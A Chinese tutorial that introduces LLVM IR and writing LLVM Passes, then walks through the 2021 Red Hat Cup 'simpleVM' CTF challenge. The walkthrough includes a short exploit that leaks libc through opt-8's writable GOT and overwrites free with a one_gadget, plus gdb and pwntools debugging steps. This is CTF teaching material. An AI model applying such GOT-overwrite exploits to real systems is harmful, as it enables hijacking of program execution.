LLVM
LLVM
的核心是一个库,其设计了一种通用的LLVM IR
,并提供一系列接口来操作LLVM IR
,生成目标平台代码等等后端的功能.
LLVM Pass
就是遍历传入的IR
并进行一些处理,在实现上,LLVM
的核心库中存在一些Pass
类,通过继承这些类并重载一些方法,就可以方便的处理传入的IR
.
LLVM Pass
的用处:在Pass
遍历LLVM IR
的同时,就可以非常方便的完成插桩,静态分析,机器无关的代码优化等等操作.
下面列出了几个重要的命令行工具.
llvm-as
:将LLVM IR
从文本格式转化成二进制格式,此处得到的并不是目标平台的机器码.llvm-dis
:llvm-as
的逆过程.opt
:优化LLVM IR
并输出.llc
:将二进制格式的LLVM IR
编译成汇编码,需要用as
进一步得到机器码.lli
:解释执行LLVM IR
.
Clang
是一个基于LLVM
的编译器驱动,它将C/C++
等语言翻译成LLVM IR
的前端.并使用LLVM
的库实现了LLVM IR
到目标代码的后端.
LLVM IR
LLVM IR
有三种表示形式:
- 内存格式,只保存在内存中.
.bc
:不可读的IR
,被称作bitcode
..ll
:可读的IR
,介于高级语言和汇编代码之间.
对于LLVM IR
来说,.ll
文件就相当于汇编,.bc
文件就相当于机器码.
.c -> .ll
:clang -emit-llvm -S a.c -o a.ll
..c -> .bc
:clang -emit-llvm -c a.c -o a.bc
..ll -> .bc
:llvm-as a.ll -o a.bc
..bc -> .ll
:llvm-dis a.bc -o a.ll
..bc -> .s
:llc a.bc -o a.s
.
LLVM Pass
附件下载链接
首先安装相关工具,需要 ubuntu 22.04 的源。
sudo apt install llvm-15 clang-15
编写一个 LLVM Pass : Hello.cpp
#include "llvm/IR/Function.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
#include <map>
#include <string>struct Hello : public llvm::FunctionPass {static char ID;Hello() : FunctionPass(ID) {}bool runOnFunction(llvm::Function &F) override {llvm::errs() << "Hello: ";llvm::errs().write_escaped(F.getName()) << '\n';std::map<std::string, int> opCodeMap;int BBsize = 0;int opsize = 0;for (auto &block: F) {// 遍历每个基本块BBsize++;for (auto &opit: block) {// 遍历每条指令opsize++;opCodeMap[opit.getOpcodeName()]++;}}llvm::errs().write_escaped(F.getName()) << " has " << BBsize << " BasicBlocks and " << opsize << " opcode";for (auto &[opt, cnt]: opCodeMap)llvm::errs() << " function totally use " << opt << " " << cnt << " times \n";return false;}
};char Hello::ID = 0;// Register for opt
// 第一个参数是命令行参数,第二个参数是名字
static llvm::RegisterPass<Hello> X("hello", "Hello World Pass");// Register for clang
static llvm::RegisterStandardPasses Y(llvm::PassManagerBuilder::EP_EarlyAsPossible, [](const llvm::PassManagerBuilder &Builder, llvm::legacy::PassManagerBase &PM) { PM.add(new Hello()); });
将这个LLVM Pass
编译为动态库.
clang-15 `llvm-config-15 --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config-15 --ldflags`
使用这个LLVM Pass
.
clang-15 -c -emit-llvm main.c -o main.bc
opt-15 -load ./LLVMHello.so -hello main.bc -enable-new-pm=0 -fclang-15 -emit-llvm -S main.c -o main.ll
opt-15 -load ./LLVMHello.so -hello main.ll -enable-new-pm=0 -f
LLVM Pass pwn
以 2021红帽杯 simpleVM 为例介绍这类题目的解题过程。
首先分析 VMPass.so
,通常 runOnFunction
函数在下图函数表的最下方。
runOnFunction
根据 o0o0o0o0
函数调用函数的名称进行相应操作实现任意地址读写以及加减运算。由于 VMPass.so
是被加载到 opt-8
的进程空间中,而 opt-8
没有开 PIE 保护并且 got 表可写,因此可以读取 opt-8
的 got 表泄露 libc 地址然后计算出 one_gadget 的地址写入 opt-8
的 got 表中对应 free 函数的项。由于 opt-8
在运行过程中会调用 free 函数,因此可以将程序执行流程劫持到 one_gadget 。因此有如下 exp :
void store(int reg) {};void load(int reg) {};void add(int reg, int val) {};void o0o0o0o0() {add(1, 0x77E100);load(1);add(2, 0x72a9c);store(1);
}
接下来进行调试分析。
注意,opt 依赖大量的动态库,为了避免更换 libc 后出现不必要的麻烦,最好准备一个与 opt 运行版本大致相同的虚拟机,这里选择 ubuntu 18.04 。另外如果是用 patchelf 更换 libc 需要用运行程序的系统中的 patchelf 。
由于 opt-8
运行时需要 llvm-8
的相关动态链接库,因此需要先安装 llvm-8
sudo apt install llvm-8 clang-8
生成 exp.bc
clang-8 -emit-llvm -S exp.c -o exp.bc
根据 start 函数确定该 PASS 名为 VMPass
。
int start()
{int v1; // [rsp+18h] [rbp-68h]int v2; // [rsp+28h] [rbp-58h]if ( "VMPass" )v2 = strlen("VMPass");elsev2 = 0;if ( "VMPass" )v1 = strlen("VMPass");elsev1 = 0;sub_6510((llvm::PassRegistry *)&unk_20E990, (int)"VMPass", v2, (int)"VMPass", v1, 0, 0);return __cxa_atexit(func, &unk_20E990, &off_20E548);
}
使用这个 VMPass
处理生成的 exp.bc
。
./opt-8 -load ./VMPass.so -VMPass ./exp.bc
gdb 调试时需要通过 --args
设置程序参数。
gdb --args ./opt-8 -load ./VMPass.so -VMPass ./exp.bc
start 命令启动程序后此时 VMPass.so
还没有加载到 opt-8
的进程空间中,因此先让程序运行到 VMPass.so
加载后的状态然后在 PASS 的相应的位置上下断点。
这里选择在 llvm::Pass::preparePassManager
处下断点,因为在运行到这个函数时 VMPass.so
已经加载到内存中且 runOnFunction
还未被调用。
不过直接 b llvm::Pass::preparePassManager
gdb 很有可能会找不到该函数,因此需要在 opt-8
的 plt 的中搜索该函数并下断点。
另一个比较方便的方法是利用 pwntools 来启动 gdb 调试。运行如下脚本后直接就可以断在 llvm::Pass::preparePassManager
函数处。
from pwn import *
import sys
import osos.system("clang-8 -emit-llvm -S exp.c -o exp.bc")p = gdb.debug(["./opt-8",'-load','./VMPass.so','-VMPass','./exp.bc'],"b llvm::Pass::preparePassManager\nc")
p.interactive()
之后就可以在 PASS 中下断点调试。